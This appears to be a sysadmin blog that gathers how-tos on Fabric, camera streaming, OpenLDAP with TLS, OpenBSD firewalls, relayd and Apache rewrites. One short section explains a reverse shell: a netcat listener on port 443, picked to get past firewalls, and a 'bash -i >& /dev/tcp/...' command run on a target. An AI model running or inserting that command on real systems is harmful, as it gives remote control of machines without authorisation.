Sometimes I need to use a one-off command for a simple task and end up wrapping the command in a for loop, calling ssh, and running the command over a few hosts. While this works great in a pinch, if I find myself using the same loop over and over I’ll create a new definition in Fabric.

If you’re unfamiliar with Fabric this post attempts to get you up to speed with the basics on how to use Fabric. First lets get Fabric installed.

1
2
3

apt-get install gcc python-setuptools python-crypto
easy_install pip
pip install fabric

Fabric uses Paramiko which is a Python interface for SSH. In the example fabfile below I’ll be logging into remote nodes over SSH so make sure you have your key-based or host-based authentication in place.

At this point we can create our first fabfile. I’m going to show you two basic but powerful features to get you started on your first fabfile. From this framework you should be able to start building a very nice fabfile to manage your nodes!

The beauty of Fabric is that it’s “just Python” so you’re free to do what you want with your fabfile.

Here is a basic fabfile with complete comments:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

#!/usr/bin/env python

#import the fabric API
from fabric.api import *

#Function to define a range of nodes with prefix and number range
#Example usage: nodes("www", "00", "20") would output an array with www-00 - www-19
def nodes(prefix, r1, r2):
    nodes = []
    for nodenumber in range (int(r1),int(r2)):
        nodes.append(prefix + '-' + str(nodenumber).zfill(2))
    return nodes

#Don't brick the program on commands that return nonzero on run commands
#More info here: http://docs.fabfile.org/en/1.4.1/usage/execution.html#failure-handling
env.warn_only=True

#Example of using Roles to define subsets of nodes
env.roledefs = {
   'web_nodes' : [ 'www-00', 'www-01', 'www-02' ],
   'dns_nodes' : [ 'dns-00', 'dns-01' ],
   'gph_nodes' : nodes('graphic', '00', '14')
}
@roles('web_nodes')
def webUptime():
    run('uptime')
@roles('dns_nodes')
def dnsDate():
    run('date')

#Example that can be called by: fab -H host1,host2,host3 nodePackageSearch:package=httpd
def nodePackageSearch(package=''):
    run('rpm -qa | grep %s' % package)

Lets break this fabfile down. I first have a function that allows us to create a range of nodes. This function will be helpful later when we are defining node roles.

1
2
3
4
5

def nodes(prefix, r1, r2):
    nodes = []
    for nodenumber in range (int(r1),int(r2)):
        nodes.append(prefix + '-' + str(nodenumber).zfill(2))
    return nodes

Next, I’m defining roles for my nodes and assigning my nodes to those roles. As you can see this is where the nodes function defined earlier will come in handy.

1
2
3
4
5

env.roledefs = {
   'web_nodes' : [ 'www-00', 'www-01', 'www-02' ],
   'dns_nodes' : [ 'dns-00', 'dns-01' ],
   'gph_nodes' : nodes('gtnode', '00', '14')
}

Now we can assign functions to our roles. In this example I’m getting the uptime on all of my web nodes, and I have another function that allows me to get the date on all of my dns servers.

1
2
3
4
5
6

@roles('web_nodes')
def webUptime():
    run('uptime')
@roles('dns_nodes')
def dnsDate():
    run('date')

Finally, I have a function that allows me to query nodes for a specific from the command line.

1
2

def nodePackageSearch(package=''):
    run('rpm -qa | grep %s' % package)

To run Fabric use the command fab in the same directory as your fabfile (or use -f and specify the path to your fabfile).

To get the list commands available from our fabfile you can use fab -l which will return:

1
2
3
4
5
6

Available commands:

    dnsDate
    nodePackageSearch
    nodes
    webUptime

So to get the uptime on all of our web nodes you can simply run fab webUptime which will return results similar to:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

[www-00] Executing task 'webUptime'
[www-00] run: uptime
[www-00] out:  13:51:13 up 1 day, 18:30,  1 user,  load average: 0.00, 0.00, 0.00
[www-00] out:

[www-01] Executing task 'webUptime'
[www-01] run: uptime
[www-01] out:  13:51:14 up 28 days, 23:08, 10 users,  load average: 0.00, 0.00, 0.00
[www-01] out:

[www-02] Executing task 'webUptime'
[www-02] run: uptime
[www-02] out:  13:51:14 up 28 days, 23:43,  1 user,  load average: 0.42, 0.56, 0.61
[www-02] out:


Done.
Disconnecting from www-00... done.
Disconnecting from www-01... done.
Disconnecting from www-02... done.

If you have a large amount of nodes you will want to use the -P switch to execute your commands in parallel, fab -P dnsDate

1
2
3
4
5
6
7
8
9
10
11
12

[dns-00] Executing task 'dnsDate'
[dns-01] Executing task 'dnsDate'
[dns-01] run: date
[dns-00] run: date
[dns-00] out: Thu May  1 13:57:46 EDT 2014
[dns-01] out: Thu May  1 13:57:46 EDT 2014
[dns-00] out:

[dns-01] out:


Done.

To use our package search function from the command line we can use fab -H node-03,node-04 nodePackageSearch:package=nc-1.84 which outputs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

[node-03] Executing task 'nodePackageSearch'
[node-03] run: rpm -qa | grep nc-1.84
[node-03] out: nc-1.84-22.el6.x86_64
[node-03] out:

[node-04] Executing task 'nodePackageSearch'
[node-04] run: rpm -qa | grep nc-1.84
[node-04] out: nc-1.84-22.el6.x86_64
[node-04] out:


Done.
Disconnecting from node-04... done.
Disconnecting from node-03... done.

As you can see Fabric is a very powerful tool that can be modified for just about any environment.

Official Fabric Tutorial: http://docs.fabfile.org/en/latest/tutorial.html

Official Fabric Documentation: http://docs.fabfile.org

• Axis Camera - http://www.axis.com/
• crtmpserver - http://www.rtmpd.com/
• Flowplayer - http://flowplayer.org/
• Flowplayer RTMP - http://flash.flowplayer.org/plugins/streaming/rtmp.html

First find the link that displays your cameras rtsp feed. In the case of the axis camera, the feed is located at: rtsp://[ip.add.re.ss]/axis-media/media.amp

Once you have your cameras rtsp link you should test to make sure it’s displaying the feed correctly with something like VLC and the following command:

1

vlc rtsp://[ip.add.re.ss]/axis-media/media.amp

Once the feed is verified it’s time to start working on getting the media server to consume and convert the stream. crtmpserver provides many binaries for various platforms. In this example I’ll be using the CentOS 6.2 binary build found at: http://www.rtmpd.com/downloads/

Extract the binary in /opt and create a symlink

1
2
3

cd /opt
tar xvzf crtmpserver-version-1.1-tar.gz
ln -s crtmpserver-version-1.1 crtmpserver

Create a configuration file for the rtsp to rtmp conversion process. Under externalStreams replace the values for uri and localStreamName with the url for your rtsp feed and what you would like to call this feed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

vi /opt/crtmpserver/configs/axisfeed.lua

configuration=
{
  daemon=false,
  pathSeparator="/",

  logAppenders=
  {
      {
          name="console appender",
          type="coloredConsole",
          level=6
      },
      {
          name="file appender",
          type="file",
          level=6,
          fileName="./logs/crtmpserver",
          fileHistorySize=10,
          fileLength=1024*1024,
          singleLine=true    
      }
  },
  
  applications=
  {
      rootDirectory="applications",
      {
          description="FLV Playback",
          name="flvplayback",
          protocol="dynamiclinklibrary",
          default=true,
          aliases=
          {
              "simpleLive",
              "vod",
              "live",
              "WeeklyQuest",
              "SOSample",
              "oflaDemo",
          },
          acceptors =
          {
              {
                  ip="0.0.0.0",
                  port=1935,
                  protocol="inboundRtmp"
              },
              {
                  ip="0.0.0.0",
                  port=6666,
                  protocol="inboundLiveFlv",
                  waitForMetadata=true,
              },
              {
                  ip="0.0.0.0",
                  port=9999,
                  protocol="inboundTcpTs"
              },
          },
          externalStreams =
          {
              {
                          uri="rtsp://ip.add.re.ss/axis-media/media.amp",
                          localStreamName="feednamecanbewhateveryouwant",
                          forceTcp=true
                  }
          },
          validateHandshake=false,
          keyframeSeek=true,
          seekGranularity=1.5, --in seconds, between 0.1 and 600
          clientSideBuffer=12, --in seconds, between 5 and 30
          --generateMetaFiles=true, --this will generate seek/meta files on application startup
          --renameBadFiles=false,
          mediaFolder="./media",
      },
  }
}

Test your configuration by running the following command. This will give you console output about the feeds being served from crtmpserver. You may also want to open another terminal and double check the server is indeed listening on port 1935 for inbound rtmp. netstat -antp | grep 1935

1

/opt/crtmpserver/crtmpserver /opt/crtmpserver/configs/axisfeed.lua

Next create a simple bash script you can use to start crtmpserver using this configuration as a daemon

1
2
3
4

vi /opt/crtmpserver/RunFeed.sh

#!/bin/bash
./crtmpserver --daemon ./configs/axisfeed.lua

Once you have crtmp server correctly serving your feed it’s time to display the feed on your webpage with Flowplayer. First download the latest versions of Flowplayer and Flowplayer RTMP from the links at the beginning of this write-up to your webserver. You will then need the following code on your page, replacing name-of-your-feed with the feed name you created for the value of localStreamName you created previously.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<script src="flowplayer/flowplayer-3.2.13.min.js"></script>

<div>
   <a id="rtmp_player" name="rtmp_player" style=
    "display: block;height:400px;width:600px;background-color: #ffffff;border: solid 1px #ccc;"></a><br>

  <br>
   <script>
    $f("rtmp_player", "flowplayer/flowplayer-3.2.18.swf", {
        clip: {
               url : 'name-of-your-feed',
               live : true,
               provider: 'rtmp'
              },

        plugins: {
               rtmp: {
               url: 'flowplayer/flowplayer.rtmp-3.2.13.swf',
               netConnectionUrl: 'rtmp://crtmp.server.ip.address/live' ,
               subscribe:true
                }
              }
            });
                    </script>
</div>

Your feed should now be viewable as a live stream in flowplayer.

For clarification:

Master (Provider in LDAP terms) - CentOS 5 server

Slave (Consumer in LDAP terms) - CentOS 6 server

On the Master:

Create a new account named replicate. Give the replicate account a password and make sure you can fully query the account from the Slave using ldapsearch.

An example ldapsearch to run from the Slave:

1

ldapsearch -h master.localdomain -p 389 -x -b "dc=localdomain,dc=com" -D "uid=replicate,ou=People,dc=localdomain,dc=com" -W

Add the following to slapd.conf on the Master

1
2
3
4
5
6
7
8

vi /etc/openldap/slapd.conf

sizelimit    100000

access to *
    by self write
    by dn="cn=replicate,ou=People,dc=localdomain,dc=com" read
    by * read

On the Slave:

Create the cn=module{0}.ldif file with the following contents

1
2
3
4
5
6
7
8

vi /etc/openldap/slapd.d/cn=config/cn=module{0}.ldif

dn: cn=module{0}
objectClass: olcModuleList
cn: module{0}
olcModulePath: /usr/lib64/openldap
olcModuleLoad: {0}back_bdb
olcModuleLoad: {1}syncprov

Make sure the ldap user is the owner of the file

1

chown ldap. cn=module{0}.ldif

Append the following to the olcDatabase={2}bdb.ldif file replacing ‘password’ with the password you created for the replicate user

1
2
3
4
5
6
7
8
9

olcSyncrepl: rid=135
       provider="ldap://master.localdomain:389/"
       type=refreshAndPersist
       retry="60 30 300 +"
       searchbase="dc=localdomain,dc=com"
       bindmethod=simple
       binddn="uid=replicate,ou=People,dc=localdomain,dc=com"
       credentials=password
       tls_reqcert=never

If you hit problems use the following command to start the server in debug mode with logging to the console.

1

/usr/sbin/slapd -h ldap:/// ldaps:/// ldapi:/// -u ldap -d 255

Add the following to your iptables configuration to allow access through the firewall, then install the required packages for your LDAP server.

/etc/sysconfig/iptables

1
2
3
4
5
6

-A INPUT -m state --state NEW -m tcp -p tcp --dport 389 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 636 -j ACCEPT

service iptables restart

yum install openldap-clients pam_ldap nss-pam-ldapd pam_krb5 sssd migrationtools openldap-servers openldap openldap-devel

Note: The steps for creating the certificates are crucial for TLS to work properly and have changed since CentOS 6.0

Backup the old /etc/openldap/certs directory and create a new one so we can generate new certificates

1
2
3
4
5

cd /etc/openldap
mv certs{,_bak} && mkdir certs
cd /etc/openldap/certs
echo "01234567890" > password
echo "jksadhfkjsdhfaks" >> noise.txt

Associate the password with the certificates which will be generated in the current directory

1
2

certutil -N -d . -f /etc/openldap/certs/password
certutil -G -d . -z noise.txt -f /etc/openldap/certs/password

Generate a CA certificate for the server

1

certutil -S -n "CA certificate" -s "cn=CAcert" -x -t "CT,," -m 1000 -v 120 -d . -z /etc/openldap/certs/noise.txt -f /etc/openldap/certs/password

If prompted: Anwsers are Y, enter accepting defaults, Y

Next build the server cert

1

certutil -S -n "OpenLDAP Server" -s "cn=ldap0.localdomain" -c "CA certificate" -t "u,u,u" -m 1001 -v 120 -d . -z /etc/openldap/certs/noise.txt -f /etc/openldap/certs/password

This exports the cacert in case you need it

1

pk12util -d . -o cacert.p12 -n "CA certificate"

Export the CA cert for ldap clients

1

certutil -L -d . -n "CA certificate" -a > /etc/openldap/certs/cacert.pem

Make the files in /etc/openldap/certs readable

1

chmod 644 /etc/openldap/certs/*

Edit /etc/sysconfig/ldap, uncomment SLAPD_LDAPS and change from ‘no’ to ‘yes’

1
2

vi /etc/sysconfig/ldap
SLAPD_LDAPS=yes

Setup the base database to use

1

cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG

Set permissions to the ldap user account on /var/lib/ldap

1

chown -Rf ldap:ldap /var/lib/ldap

Create the LDAP administrative password, be sure to save the SSHA generated string so we can add it to the bdb.ldif config file in the next step.

1
2
3
4

slappasswd
New password: <password>
Re-enter new password: <password>
{SSHA}2Gv8HLL8SB5pMTbMB3b5AFAE4A5sDPPE

Open the olcDatabase={1}bdb.ldif file and make the modifications shown below to it. /etc/openldap/slapd.d/cn\=config/olcDatabase\={1}bdb.ldif Change all references in this file from my-domain to your domain name, for example:

1
2
3

olcSuffix: dc=my-domain,dc=com
Would be changed to read:
olcSuffix: dc=localdomain,dc=com

To allow users to modify their passwords, etc, you will have to add the following after the last olcDbIndex line in this file, again replace the domain name with yours.

1
2
3
4
5
6
7
8
9

olcAccess: to attrs=userPassword
       by self write
       by anonymous auth
       by dn.base="cn=Manager,dc=localdomain,dc=com" write
       by * none
olcAccess: to *
       by self write
       by dn.base="cn=Manager,dc=localdomain,dc=com" write
       by * read

Add the following to the end of this file to set the root password (replace the SSHA string with the string saved earlier):

1

olcRootPW: {SSHA}2Gv8HLL8SB5pMTbMB3b5AFAE4A5sDPPE

Next modify the monitoring configuration file changing all references to my-domain to your domain.

/etc/openldap/slapd.d/cn\=config/olcDatabase\={2}monitor.ldif

Test the configuration, start the LDAP server and set it to start at boot.

1
2
3
4
5
6

slaptest -u
config file testing succeeded

service slapd start

chkconfig slapd on

Now we can configure the LDAP client. Do this on the LDAP server first to make sure everything is working properly.

First create the cacerts directory for the client certificates and copy the ldap certificate we created earlier into this directory

1
2

mkdir /etc/openldap/cacerts
cp /etc/openldap/certs/cacert.pem  /etc/openldap/cacerts/

Next use authconfig-tui to configure the client configuration files

1
2
3
4
5
6
7

authconfig-tui
[*] Use LDAP
[*] Use LDAP Authentication
<Next>
[*] Use TLS
Server: ldap://ldapserver.localdomain/
Base DN: dc=localdomain,dc=com

Check if our LDAP server is working and responding to search requests.

1

ldapsearch -x -b "dc=localdomain,dc=com"

You should get a search: 2 somewhere in the output.

Test to make sure encrypted searches are also working.

1

ldapsearch -x -b "dc=localdomain,dc=com" -ZZ

You should get a search: 3 somewhere in the output.

Now we must configure the base domain, and import the information into our LDAP server.

Create the file base.ldif with the following contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

dn: dc=localdomain,dc=com
dc: localdomain
objectClass: top
objectClass: domain

dn: ou=People,dc=localdomain,dc=com
ou: People
objectClass: top
objectClass: organizationalUnit

dn: ou=Group,dc=localdomain,dc=com
ou: Group
objectClass: top
objectClass: organizationalUnit

Now import the base.ldif file into LDAP.

1
2
3
4
5
6
7

ldapadd -x -W -D "cn=Manager,dc=localdomain,dc=com" -f base.ldif
Enter LDAP Password: <password>
adding new entry "dc=localdomain,dc=com"

adding new entry "ou=People,dc=localdomain,dc=com"

adding new entry "ou=Group,dc=localdomain,dc=com"

Next create a POSIX user that can use our central LDAP server. Create a temporary password for the new user and set the users group. Create the file posix_user.ldif substituting for your environment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

dn: uid=mnichols,ou=People,dc=localdomain,dc=com
objectClass: top
objectClass: account
objectClass: posixAccount
objectClass: shadowAccount
cn: Matt Nichols
uid: mnichols
uidNumber: 3000
gidNumber: 3000
homeDirectory: /staff/mnichols
loginShell: /bin/bash
gecos: Matt Nichols,Teacher,Room 16,626-135-0011,409-111-1372
userPassword: {crypt}x
shadowLastChange: 0
shadowMax: 0
shadowWarning: 0

Add the user information to our LDAP server.

1
2
3

ldapadd -x -W -D "cn=Manager,dc=localdomain,dc=com" -f posix_user.ldif
Enter LDAP Password: <password>
adding new entry "uid=mnichols,ou=People,dc=localdomain,dc=com"

Set the new users temporary password.

1

ldappasswd -s newpassword -D "cn=Manager,dc=localdomain,dc=com" -W -x uid=mnichols,ou=People,dc=localdomain,dc=com

Next set the users group up. Create the file posix_group.ldif substituting for your environment:

1
2
3
4
5
6

dn: cn=mnichols,ou=Group,dc=localdomain,dc=com
objectClass: top
objectClass: posixGroup
cn: mnichols
userPassword: {crypt}x
gidNumber: 3000

Add the information to our LDAP server:

1
2
3

ldapadd -x -W -D "cn=Manager,dc=localdomain,dc=com" -f posix_group.ldif
Enter LDAP Password: <password>
adding new entry "cn=mnichols,ou=Group,dc=localdomain,dc=com"

You should now have a fully functioning LDAP server with TLS encryption.

I’m going to refer to the systems as follows: OurSystem TargetSystem

On OurSystem we need to open a listening network connection using netcat. This can be any port we want, but I’m going to use port 443 because it’s allowed through firewalls.

1

nc -l 443

Note: Make sure the firewall isn’t blocking the listening port you choose on OurSystem

Next we need to force a bash shell back to OurSystem from TargetSystem. On the TargetSystem execute the following, substitute 12.3.4.5 with the external IP of OurSystem, substitute 443 with the port you set netcat to listen on.

1

bash -i >& /dev/tcp/12.3.4.5/443 0>&1

You should be greeted with a bash shell from TargetSystem on OurSystem.

Sites such as google would load okay but larger sites like Amazon would load halfway or simply not load at all. Keep in mind these symptoms were seen on clean installs of Windows 7, and because of that malware causing these problems was thrown out of the equation.

As stated earlier all attempts to ping outside hosts worked perfectly fine. All DNS resolution was working beautifully so to dig a little further I fired up Wireshark and noticed the following:

The NICs in these systems are Intel 82566DM-2 NICs. While looking over the capture I noticed quite a few of the following logged Header checksum: 0x0000 [incorrect .... After some digging I found this article: Auto Tuning - TCP/IP Receive Level

Basically to fix the issue you need to disable the Receive Window Auto-Tuning Level. To do that follow these steps:

Open a cmd shell with Administrator privileges and get the current tuning level:

1

netsh interface tcp show global

This should result in the following output:

1

Receive Window Auto-Tuning Level    : normal

Disable the tuning level:

1

netsh interface tcp set global autotuninglevel=disabled

This seems to have fixed the problem and all sites now load correctly across all browsers. I did have an issue where I couldn’t set the Auto-Tuning Level and to fix that I had to issue the following command:

1

netsh interface tcp set heuristics disabled

To setup Synergy I first installed it on CentOS from the EPEL repo:

1

yum install synergy-plus

For reference my systems are: xp=WindowsXP Box despina=CentOS Box (replace xp and despina with your system names) Once Synergy is installed you must configure it. First edit /etc/synergy.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

section: screens
xp:
despina:

end

section: links

xp:
right = despina

despina:
left = xp

end

This tells Synergy that to access my Windows XP system, move the mouse off the right side of the screen on my CentOS system.

To make Synergy start at bootup I added the following to my /etc/rc.local file:

1

/usr/bin/synergyc -f xp &

This tells Synergy to connect to my Windows XP system at startup. I also wanted to have Synergy start at the very initial login page, to do that I had to do the following:

Edit /etc/gdm/Init/Default and add the following line at the very end but before exit 0 line:

1

/usr/bin/synergyc -f xp &

Now add the following to the very top (after the #!/bin/sh line) of the /etc/gdm/PreSession/Default file:

1

/usr/bin/synergyc -f xp &

Now to configure my Windows XP system. I simply downloaded and installed from http://synergy2.sourceforge.net/

Once it was installed I hit the Configure button and setup my screens as follows:

And that’s it. I can now move between systems simply by moving my mouse to the edge of the screen.

From the computer the ‘Modular Disk Storage Manager’ is installed on, open a CMD window and change to the following directory:

1

C:\Program Files\Dell\MD Storage Manager\client>

From this directory execute the following command (an explanation of the switches is below):

1

smcli -n Production_Storage -c "set virtualDisk [\"virtual_disk_name\"] addCapacity=26843545600;" -p "password"

Where Production_Storage is the name of your storage array, virtual_disk_name is the name of the virtual disk to increase, 26843545600 is the amount to increase the virtual disk in bytes (in this case 25GB, use this calculator to convert from GB to Bytes: Convert GB to Bytes), and password is the password to the storage array.

Once the operation is complete you will need to extend the Datastore in vSphere.

Locate the datastore, right-click the datastore, select properties and select the ‘Increase …’ button. Next you should see a selection of available devices and the same LUN should appear, select it and click next. Vsphere should see the additional free space and upon clicking next it will expand the volume.

I decided to create a OpenBSD VM with the following configuration to make users authenticate on the gateway before being allowed internet access.

The OpenBSD VM needs two virtual NIC’s. I configured my networking in OpenBSD as follows:

1
2

pcn0 - 192.168.0.100
pcn1 - 192.168.0.101

The file /etc/mygate needs to have the IP of the current working gateway. Mine was:

1

192.168.0.10

The file /etc/resolv.conf must have the correct DNS server in it. Mine was:

1
2

lookup file bind
nameserver 192.168.0.1

First I setup pf and ip forwarding. Then I setup /etc/pf.conf with the following configuration:

1
2
3
4
5
6
7
8
9
10
11

ext_if="pcn0"
int_if="pcn1"
lan_net="192.168.0.0/24"

#DEFAULT DENY
block in all
block out all

anchor "authpf/*"

pass in quick on $int_if inet proto tcp from any to $int_if port ssh flags S/SA keep state

This configuration blocks everything except ssh and inserts the authpf rules once a user validates on the firewall.

Once you have pf.conf set properly it’s time to configure authpf. Create the following files:

1
2
3
4
5
6
7

#touch /etc/authpf/authpf.conf
#touch /etc/authpf/authpf.rules

The file permissions should be:

-rw-r--r--   1 root wheel  authpf.conf  (644)
-rwxr-xr-x  1 root wheel  authpf.rules (755)

Add the following to authpf.rules:

1
2

pass in all
pass out all

Once this is all setup restart the VM. Change the gateway on the client computers to point to 192.168.0.101 initially they wont be allowed any internet access.

To get internet access they will need to ssh to the captive portal (192.168.0.101) and login. Once they login as long as they keep the window open they will be allowed unrestricted access.

First the hardware: I decided to use a Dell Poweredge 1900 with ESXi server. The server has (2) Quad Core Processors, 16GB of RAM and 3 NICs. The storage is local with 4 drives set in a RAID 5 providing 600GB of storage.

Now for the NIC setup. You can see from the below diagram the BSD Bridge is setup on vmnic0 and vmnic1, vmnic2 is reserved for management and other VM’s.

One VERY IMPORTANT note before I begin to explain the setup of the OpenBSD VM, the two NICS that will be used for the transparent firewall must be setup in ESXi for promiscuous mode! See the image below.

Configure the OpenBSD VM with two NICS, both tied to the NICs configured in promiscuous mode. Install OpenBSD on the VM.

For the configuration of OpenBSD do the following: Enable PF and IP forwarding (edit /etc/rc.conf and /etc/sysctl.conf)

Configure the bridge (substitute your NIC names in place of vic0 and vic1) First create the file /etc/bridgename.bridge0:

1

# touch /etc/bridgename.bridge0

Add the following to the bridgename.bridge0 file:

1
2
3

add vic0
add vic1
up

After you have added this file reboot the OpenBSD VM, when the system comes back up you should see the following when issuing ifconfig -a

1
2

bridge0: flags=41<UP,RUNNING> mtu 1500
groups: bridge

Once you have confirmed the bridge is running its time to configure pf to control the traffic. Here is an example /etc/pf.conf file that blocks all external traffic destined for the internal network and allows all internal traffic destined for the internet:

1
2
3
4
5
6
7
8
9
10

ext_if=”vic0″
int_if=”vic1″

#Allow all traffic out from our network (vic1)
pass out quick on $int_if all
pass in quick on $int_if all
pass out quick on $ext_if all

#Block all traffic on external interface (vic0) by default
block in log on $ext_if all

A more elaborate example allows SSH traffic from specific IP’s to the internal network and configures OpenDNS redirection for content filtering on the internal network:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

ext_if=”vic0″
int_if=”vic1″

allowed_ips=”{ 68.180.206.184, 209.85.171.100 }”
opendns=”{ 208.67.222.222, 208.67.220.220 }”
internal_ips=”{ 206.46.232.39/27 }”

#Redirect to OpenDNS for content filtering
rdr on $int_if inet proto udp from any to any port 53 -> $opendns

#Allow all traffic out from our network (vic1)
pass out quick on $int_if all
pass in quick on $int_if all
pass out quick on $ext_if all

#Block all traffic on external interface (vic0) by default
block in log on $ext_if all

#Inbound Allow Rules
pass in log quick on $ext_if proto tcp from $allowed_ips to $internal_ips port 22 modulate state

Here is a diagram of the hardware setup and wiring:

For my use I wanted Relayd to act as a tcp port relay and redirect all www packets bound for my public IP to be redirected to my webserver in the DMZ, you can see the traffic flow below:

internet --> relayd forward (box1) --> server (box2)

To achieve this I edited my /etc/relayd.conf as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

box1_addr="10.1.1.2"
box1_port="80"
box2_addr="10.1.1.3"
box2_port="80"

## TCP port relay and forwarder
#
protocol "tcp_service" {
                   tcp { nodelay, socket buffer 65536 }
           }

           relay "tcp_forwarder" {
                   listen on $box1_addr port $box1_port
                   protocol "tcp_service"
                   forward to $box2_addr port $box2_port
           }

Once my /etc/relayd.conf setting was in place I started relayd with the following command:

1

relayd -f /etc/relayd.conf

Additionally to make sure Relayd starts at boot time I added the following to my /etc/rc.conf.local file:

1

relayd_flags=""

And with that, all web traffic bound for my network is being successfully relayed to my external webserver in the DMZ, no changes to DNS were made.

1
2
3

RewriteEngine On
    RewriteCond %{HTTP_HOST} ^computerglitch\.net
    RewriteRule ^(.*)$ http://www.computerglitch.net/$1 [R=permanent,L]

Lets go over step by step what this code is actually doing.

Line 1 turns the runtime rewriting engine on or off. This line needs to be on in the vhosts file in order for the configuration to work because rewrite configurations are not inherited by virtual hosts.

Line 2 condition matches if the Host portion of the HTTP request header begins with computerglitch.net

Line 3 rewrite computerglitch.net as http://www.computerglitch.net, reply with a 301 Moved Permanently response and stop any later rules from affecting this url.

A little more detail about the regular expression used on Line 3

1

    ^(.*)$

^ begins the line to match

() designates the portion to preserve for use again in the $1 variable.

. matches any non-whitespace character

* means the previous character can be matched zero or more times

$ ends the line to match

• To explain this with a couple of examples:

  • ^keyboard$ matches keyboard exactly

  • ^keyboard.*$ matches keyboard2000, keyboard2001, etc.

  • ^.*$ matches everything

For more information on perl regular expressions see: http://perldoc.perl.org/perlre.html#Regular-Expressions

Breaking this down you can see how it works with the following HTTP Request Header, HTTP Response Header and Response Body:

HTTP Request Header

1
2
3
4
5
6
7
8

    GET / HTTP/1.1[CRLF]
    Host: computerglitch.net[CRLF]
    Connection: close[CRLF]
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0[CRLF]
    Accept-Encoding: gzip[CRLF]
    Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7[CRLF]
    Cache-Control: no-cache[CRLF]
    Accept-Language: de,en;q=0.7,en-us;q=0.3[CRLF]

HTTP Response Header

1
2
3
4
5

Server: Apache
Location: http://www.computerglitch.net/
Content-Length: 322
Connection: close
Content-Type: text/html; charset=iso-8859-1

Response Body

1
2
3
4
5
6
7
8
9

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.computerglitch.net/">here</a>.</p>
<hr>
<address>Apache Server at computerglitch.net Port 80</address>
</body></html>